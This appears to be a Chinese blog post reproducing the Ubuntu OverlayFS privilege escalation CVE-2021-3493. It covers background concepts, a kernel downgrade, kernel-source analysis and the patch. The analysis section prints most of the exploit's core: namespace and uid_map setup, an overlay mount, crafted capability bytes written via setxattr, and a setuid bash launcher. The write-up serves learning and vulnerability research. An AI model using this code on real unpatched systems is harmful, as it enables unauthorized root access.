Loading... 我复现的第一个 CVE,<span style='color:#8470FF'>cheers!</span> [漏洞信息](https://ubuntu.com/security/CVE-2021-3493),[patch](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7c03e2cda4a584cadc398e8f6641ca9988a39d52),[pwnwiki](https://www.pwnwiki.org/index.php?title=CVE-2021-3493_linux_kernel_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E) Ubuntu 所特有的一个权限提升漏洞。 ### 前置知识 #### capabilities 当普通用户需要做一些 root 权限下才能做的事情时,一种方法是用 sudo 提权,一种方法是使用 suid,比如 passwd 这个程序。但是 suid 给予程序的权限过高,比如 passwd 直接拥有了完整的 root 权限,这就导致一旦 passwd 出现了漏洞,攻击者就可以完全控制目标靶机。Linux 内核在 2.2 版本后引入了 capabilities 机制来切分 root 权限,使得每个线程和文件都可以拥有其需要的一部分 root 权限。 以文件为例,首先编译一个提权的程序 ```cpp hljs vditor-linenumber #include <stdio.h> #include <unistd.h> #include <stdint.h> int main() { setuid(0); setgid(0); execl("/bin/bash", "/bin/bash", NULL); } ``` 编译后直接执行 ```cpp hljs vditor-linenumber # chuj @ ubuntu in ~/ctf/CVE-2021-3493 [15:47:30] $ gcc magic.c -o magic # chuj @ ubuntu in ~/ctf/CVE-2021-3493 [15:47:33] $ ./magic chuj@ubuntu:~/ctf/CVE-2021-3493$ id uid=1000(chuj) gid=1000(chuj) groups=1000(chuj),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),998(docker) ``` 以普通用户运行,自然是无法成功提权的。然后我们给他加上 CAP_SETUID 和 CAP_SETGID 这两个 capabilities,使用 setcap 即可 ```cpp hljs vditor-linenumber # chuj @ ubuntu in ~/ctf/CVE-2021-3493 [15:48:48] $ sudo setcap cap_setuid,cap_setgid=+eip ./magic [sudo] password for chuj: # chuj @ ubuntu in ~/ctf/CVE-2021-3493 [15:49:10] $ ./magic root@ubuntu:~/ctf/CVE-2021-3493# id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),998(docker),1000(chuj) ``` 执行之后,发现成功提权。但是这里需要使用 root 权限才能设置 capabilities,而 CVE-2021-3493 就是利用了在 Ubuntu 下的一个不需要 root 权限就可以设置 capabilities 的漏洞实现的权限提升。 #### namespace namespace 机制是 Linux 提供一个在内核级隔离资源的机制,目前提供了六种资源的隔离 * `Mount`: 隔离文件系统挂载点 * `UTS`: 隔离主机名和域名信息 * `IPC`: 隔离进程间通信 * `PID`: 隔离进程的ID * `Network`: 隔离网络资源 * `User`: 隔离用户和用户组的ID 在此 CVE 中,主要利用了 User Namespace 来“伪造”root 用户绕过检测。在 User Namespace 中,使用到了 /proc/$pid/ 文件夹中的 uid_map 和 gid_map 这两个文件来进行 id 的映射,内容为三个数字:`first-ns-id first-target-id count` * first-ns-id:在新的 namespace 中被映射的 user id * first-target-id:被映射的 user id * count:表示映射的范围,为 1 表示只映射一个,大于1表示按顺序映射 我们建立新的名称空间时,把 first-ns-id 设置为 0,first-target-id 设置为原名称空间中进程的 id,这样就可以在新的名称空间中获得到 root 权限,但是此权限不超过在原名称空间中的权限。举个例子 建立这样一个新的名称空间 ```cpp hljs vditor-linenumber uid_t out_uid = getuid(); gid_t out_gid = getgid(); unshare(CLONE_NEWNS | CLONE_NEWUSER); // create a new namespace write_file("/proc/self/setgroups", "deny"); char buf[0x100]; sprintf(buf, "0 %d 1", out_uid); write_file("/proc/self/uid_map", buf); sprintf(buf, "0 %d 1", out_gid); write_file("/proc/self/gid_map", buf); execl("/bin/bash", "/bin/bash", NULL); ``` 执行后 ```shell hljs vditor-linenumber root@ubuntu:~/ctf/CVE-2021-3493# id uid=0(root) gid=0(root) groups=0(root),65534(nogroup) root@ubuntu:~/ctf/CVE-2021-3493# cd /root bash: cd: /root: Permission denied ``` 可以发现虽然 uid 是 0 了,但是仍然无法访问 root 的文件夹。 #### OverlayFS 可以参考[深入理解overlayfs(一):初识](https://blog.csdn.net/luckyapple1028/article/details/77916194),写的很详细 #### xattr [man page](https://man7.org/linux/man-pages/man7/xattr.7.html)。xattr(文件拓展属性)是永久关联到文件和目录的键值,可以让文件系统支持在其原始设计中不支持的功能,使用 setxattr 可以设置拓展属性,getxattr 可以获得拓展属性。通过此函数也可以设置文件的 capabilities ### 环境准备 这个洞不是溢出之类的洞,所以 exp 应该不容易把内核搞 panic 掉,同时也没什么动调的必要,最重要的是我不知道为什么 qemu 起的虚拟机没法复现,所以就直接用宿主虚拟机了。 看了一下 Ubuntu 的漏洞信息页面,也没看出来具体是在什么时候修复的,Ubuntu 20.04 大概是在镜像版本为 `5.8.0-50.56~20.04.1` 时修复的,看了一下我的虚拟机 ```shell hljs vditor-linenumber $ uname -a Linux ubuntu 5.8.0-61-generic #68~20.04.1-Ubuntu SMP Wed Jun 30 10:32:39 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux ``` 版本还是比较高的,所以需要先降级,首先通过 `grep menuentry /boot/grub/grub.cfg` 来看一下当前能用的内核 ```shell hljs vditor-linenumber $ grep menuentry /boot/grub/grub.cfg if [ x"${feature_menuentry_id}" = xy ]; then menuentry_id_option="--id" menuentry_id_option="" export menuentry_id_option menuentry 'Ubuntu' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-simple-cb8134cd-0aae-44b6-9e58-cf92d64e9902' { submenu 'Advanced options for Ubuntu' $menuentry_id_option 'gnulinux-advanced-cb8134cd-0aae-44b6-9e58-cf92d64e9902' { menuentry 'Ubuntu, with Linux 5.8.0-61-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-5.8.0-61-generic-advanced-cb8134cd-0aae-44b6-9e58-cf92d64e9902' { menuentry 'Ubuntu, with Linux 5.8.0-61-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-5.8.0-61-generic-recovery-cb8134cd-0aae-44b6-9e58-cf92d64e9902' { menuentry 'Ubuntu, with Linux 5.8.0-59-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-5.8.0-59-generic-advanced-cb8134cd-0aae-44b6-9e58-cf92d64e9902' { menuentry 'Ubuntu, with Linux 5.8.0-59-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-5.8.0-59-generic-recovery-cb8134cd-0aae-44b6-9e58-cf92d64e9902' { menuentry 'Ubuntu, with Linux 5.8.0-43-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-5.8.0-43-generic-advanced-cb8134cd-0aae-44b6-9e58-cf92d64e9902' { menuentry 'Ubuntu, with Linux 5.8.0-43-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-5.8.0-43-generic-recovery-cb8134cd-0aae-44b6-9e58-cf92d64e9902' { menuentry 'Memory test (memtest86+)' { menuentry 'Memory test (memtest86+, serial console 115200)' { ``` 如果没有符合条件的内核,可以通过 apt 安装,执行 `sudo apt search linux-image | grep 5.8.0` 就可以出来一堆,随便找一个低版本的就可以了,比如我选择 `linux-image-5.8.0-43-generic`,那么如下操作 ```shell hljs vditor-linenumber sudo apt install linux-headers-5.8.0-43-generic linux-image-5.8.0-43-generic ``` 就可以安装上了。 然后修改一下 grub ```shell hljs vditor-linenumber sudo vim /etc/default/grub ``` 修改其中的 GRUB_DEFAULT 项,在我的虚拟机中,该项默认值为 0,这里修改为 ```shell hljs vditor-linenumber GRUB_DEFAULT="gnulinux-advanced-cb8134cd-0aae-44b6-9e58-cf92d64e9902>gnulinux-5.8.0-43-generic-advanced-cb8134cd-0aae-44b6-9e58-cf92d64e9902" ``` 这些信息通过 `grep menuentry /boot/grub/grub.cfg` 都可以找到,然后更新 grub 再重启就可以了 ```shell hljs vditor-linenumber sudo update-grub sudo reboot ``` ### 漏洞分析 我们首先构造一个沙盒,在其中先提权到 root 权限,如下 ```cpp hljs vditor-linenumber mkdir("./exploit", 0777); mkdir("./exploit/upper", 0777); mkdir("./exploit/lower", 0777); mkdir("./exploit/work", 0777); mkdir("./exploit/merge", 0777); uid_t out_uid = getuid(); gid_t out_gid = getgid(); unshare(CLONE_NEWNS | CLONE_NEWUSER); // create a new namespace write_file("/proc/self/setgroups", "deny"); char buf[0x100]; sprintf(buf, "0 %d 1", out_uid); write_file("/proc/self/uid_map", buf); sprintf(buf, "0 %d 1", out_gid); write_file("/proc/self/gid_map", buf); mount("overlay", "./exploit/merge", "overlay", 0, \ "lowerdir=./exploit/lower,upperdir=./exploit/upper,workdir=./exploit/work"); char cap[] = \ "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00"; copy_file("/proc/self/exe", "./exploit/merge/get_root"); setxattr("./exploit/merge/get_root", "security.capability", cap, sizeof(cap) - 1, 0); ``` 这样我们就可以在新建立的 namespace 中获得 root 权限,并且挂载一个 overlayfs 到 `./exploit/merge` 目录下。此时我们无法仍然无法执行超过原先普通用户权限的操作,但是在新的名称空间中,我们已经拥有了 root 权限。这个沙盒的示意图如下 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/07/1929214024.png "></div> 然后我们在 `./exploit/merge` 中创建一个会通过 setuid setgid 提权的程序,这里通过拷贝自身来实现。拷贝自身后的示意图为 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/07/2099839026.png "></div> 而漏洞主要出现在 setxattr 函数的调用链中,在设置 xattr 时的权限检测不全面,导致了非 root 用户也可以设置文件的 capabilities。 setxattr 函数的实现为 ```cpp hljs vditor-linenumber static long setxattr(struct dentry *d, const char __user *name, const void __user *value, size_t size, int flags) { int error; void *kvalue = NULL; char kname[XATTR_NAME_MAX + 1]; if (flags & ~(XATTR_CREATE|XATTR_REPLACE)) return -EINVAL; error = strncpy_from_user(kname, name, sizeof(kname)); if (error == 0 || error == sizeof(kname)) error = -ERANGE; if (error < 0) return error; if (size) { if (size > XATTR_SIZE_MAX) return -E2BIG; kvalue = kvmalloc(size, GFP_KERNEL); if (!kvalue) return -ENOMEM; if (copy_from_user(kvalue, value, size)) { error = -EFAULT; goto out; } if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) || (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0)) posix_acl_fix_xattr_from_user(kvalue, size); else if (strcmp(kname, XATTR_NAME_CAPS) == 0) { error = cap_convert_nscap(d, &kvalue, size); if (error < 0) goto out; size = error; } } error = vfs_setxattr(d, kname, kvalue, size, flags); out: kvfree(kvalue); return error; } ``` 我们利用时的调用将会是 ```cpp hljs vditor-linenumber setxattr("./exploit/merge/get_root", "security.capability", cap, sizeof(cap) - 1, 0); ``` 所以在 28 行处的判断最后会进入 else if 中,执行 cap_convert_nscap 函数,这个函数的实现为 ```cpp hljs vditor-linenumber int cap_convert_nscap(struct dentry *dentry, void **ivalue, size_t size) { struct vfs_ns_cap_data *nscap; uid_t nsrootid; const struct vfs_cap_data *cap = *ivalue; __u32 magic, nsmagic; struct inode *inode = d_backing_inode(dentry); struct user_namespace *task_ns = current_user_ns(), *fs_ns = inode->i_sb->s_user_ns; kuid_t rootid; size_t newsize; if (!*ivalue) return -EINVAL; if (!validheader(size, cap)) return -EINVAL; if (!capable_wrt_inode_uidgid(inode, CAP_SETFCAP)) return -EPERM; if (size == XATTR_CAPS_SZ_2) if (ns_capable(inode->i_sb->s_user_ns, CAP_SETFCAP)) /* user is privileged, just write the v2 */ return size; rootid = rootid_from_xattr(*ivalue, size, task_ns); if (!uid_valid(rootid)) return -EINVAL; nsrootid = from_kuid(fs_ns, rootid); if (nsrootid == -1) return -EINVAL; newsize = sizeof(struct vfs_ns_cap_data); nscap = kmalloc(newsize, GFP_ATOMIC); if (!nscap) return -ENOMEM; nscap->rootid = cpu_to_le32(nsrootid); nsmagic = VFS_CAP_REVISION_3; magic = le32_to_cpu(cap->magic_etc); if (magic & VFS_CAP_FLAGS_EFFECTIVE) nsmagic |= VFS_CAP_FLAGS_EFFECTIVE; nscap->magic_etc = cpu_to_le32(nsmagic); memcpy(&nscap->data, &cap->data, sizeof(__le32) * 2 * VFS_CAP_U32); kvfree(*ivalue); *ivalue = nscap; return newsize; } ``` 注意 19 行处,我们提供的 cap 参数是满足这里的判断的,所以会执行 ns_capable,这个函数做的就是检测当前线程是否有足够的特权。实际调用的 ns_capable_common,实现为 ```cpp hljs vditor-linenumber static bool ns_capable_common(struct user_namespace *ns, int cap, unsigned int opts) { int capable; if (unlikely(!cap_valid(cap))) { pr_crit("capable() called with invalid cap=%u\n", cap); BUG(); } capable = security_capable(current_cred(), ns, cap, opts); if (capable == 0) { current->flags |= PF_SUPERPRIV; return true; } return false; } ``` 可见是通过 security_capable 这个函数来检测的,检测的就是当前线程在当前名称空间下的特权级是否有设置 cap 的权限。之前我们设置了 uid_map 和 gid_map,这个检测是可以通过的 ```cpp hljs vditor-linenumber if (ns_capable(inode->i_sb->s_user_ns, CAP_SETFCAP)) /* user is privileged, just write the v2 */ return size; ``` 正如注释中所说,检测后说明用户权限足够,就把 cap 写到文件的 xattr 中,这是之后调用的 vfs_setxattr 做的事,该函数的实现如下 ```cpp hljs vditor-linenumber int vfs_setxattr(struct dentry *dentry, const char *name, const void *value, size_t size, int flags) { struct inode *inode = dentry->d_inode; struct inode *delegated_inode = NULL; int error; retry_deleg: inode_lock(inode); error = __vfs_setxattr_locked(dentry, name, value, size, flags, &delegated_inode); inode_unlock(inode); if (delegated_inode) { error = break_deleg_wait(&delegated_inode); if (!error) goto retry_deleg; } return error; } EXPORT_SYMBOL_GPL(vfs_setxattr); ``` 一路调用下去会执行到 ```cpp hljs vditor-linenumber static const struct xattr_handler * xattr_resolve_name(struct inode *inode, const char **name) { const struct xattr_handler **handlers = inode->i_sb->s_xattr; const struct xattr_handler *handler; if (!(inode->i_opflags & IOP_XATTR)) { if (unlikely(is_bad_inode(inode))) return ERR_PTR(-EIO); return ERR_PTR(-EOPNOTSUPP); } for_each_xattr_handler(handlers, handler) { const char *n; n = strcmp_prefix(*name, xattr_prefix(handler)); if (n) { if (!handler->prefix ^ !*n) { if (*n) continue; return ERR_PTR(-EINVAL); } *name = n; return handler; } } return ERR_PTR(-EOPNOTSUPP); } ``` 这个函数根据文件的类型计算出了 handler,我们在调用 setxattr 执行之前,设置了一个 overlayfs,并把它挂载到了 `./exploit/merge` 中。而被设置 cap 的程序为 `./exploit/merge/get_root`,他就属于 overlayfs 文件系统了,inode 标识的就是 overlayfs。对于 overlayfs 自然调用的就是 ovl_xattr_set 了。 ```cpp hljs vditor-linenumber int ovl_xattr_set(struct dentry *dentry, struct inode *inode, const char *name, const void *value, size_t size, int flags) { int err; struct dentry *upperdentry = ovl_i_dentry_upper(inode); struct dentry *realdentry = upperdentry ?: ovl_dentry_lower(dentry); const struct cred *old_cred; err = ovl_want_write(dentry); if (err) goto out; if (!value && !upperdentry) { old_cred = ovl_override_creds(dentry->d_sb); err = vfs_getxattr(&init_user_ns, realdentry, name, NULL, 0); revert_creds(old_cred); if (err < 0) goto out_drop_write; } if (!upperdentry) { err = ovl_copy_up(dentry); if (err) goto out_drop_write; realdentry = ovl_dentry_upper(dentry); } old_cred = ovl_override_creds(dentry->d_sb); if (value) err = vfs_setxattr(&init_user_ns, realdentry, name, value, size, flags); else { WARN_ON(flags != XATTR_REPLACE); err = vfs_removexattr(&init_user_ns, realdentry, name); } revert_creds(old_cred); /* copy c/mtime */ ovl_copyattr(d_inode(realdentry), inode); out_drop_write: ovl_drop_write(dentry); out: return err; } ``` 进入函数后,根据 overlayfs 文件系统的特性,我们可以推断出来,upperdentry 就是 `./exploit/upper/get_root`,realdentry 也是。而 `./exploit/upper/get_root` 就是 ext3 文件系统下的提权二进制文件。这个函数会执行到 30 中的 if 中,再次调用 vfs_setxattr,这一次就是向沙盒外的二进制文件写 cap 了。一路上没有特权级检查,成功把沙盒外的 cap 改写了,然后执行该二进制就可以提权了。 完整的 exp 可以参考 [pwnwiki](https://www.pwnwiki.org/index.php?title=CVE-2021-3493_linux_kernel_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E)。 ### 修复 回想一下,一次正常的 setxattr 操作,特权级检查是在什么时候做的? 答:就是在 setxattr 函数做的。并且在 vfs_setxattr 中并没有做二次检查。 那么修复的方法就是把判断移到 vfs_setxattr 中 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/07/3510477967.png "></div> ### 后记 这个漏洞是 Ubuntu 独有的,因为在 Linux 内核主线中,普通用户是不能创建 overlayfs 的,但是 Ubuntu 中给予了普通用户这个权限,所以才出现了这个漏洞。 总结一下漏洞的原理就是:构造沙盒后,在新的 namespace 中有 root 权限,并且 overlayfs 的 merge 目录中的所有文件都是属于新的 namespace 的,文件类型为 overlayfs 文件。给 overlayfs 的 merge 目录中的文件设置 capabilities 自然是合法的,而在对这些文件写时会影响到 upper 目录中的私有 ext3 文件,在这里没有进行完整的权限检查导致了 root 权限的沙盒逃逸。 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/07/1474850880.png "></div> ### 参考 > [浅谈Linux Namespace机制(一)](https://zhuanlan.zhihu.com/p/73248894) > > [Ubuntu内核OverlayFS权限逃逸漏洞分析(CVE-2021-3493)](https://mp.weixin.qq.com/s/hG-0jae9fQpbDkH3YMSLdw) > > [深入理解overlayfs(一):初识](https://blog.csdn.net/luckyapple1028/article/details/77916194) > > [Linux Capabilities 入门:让普通进程获得 root 的洪荒之力](https://cloud.tencent.com/developer/article/1529342) > > [Ubuntu系统Linux内核升级、降级](https://blog.csdn.net/andyL_05/article/details/89877063) 最后修改:2021 年 07 月 21 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧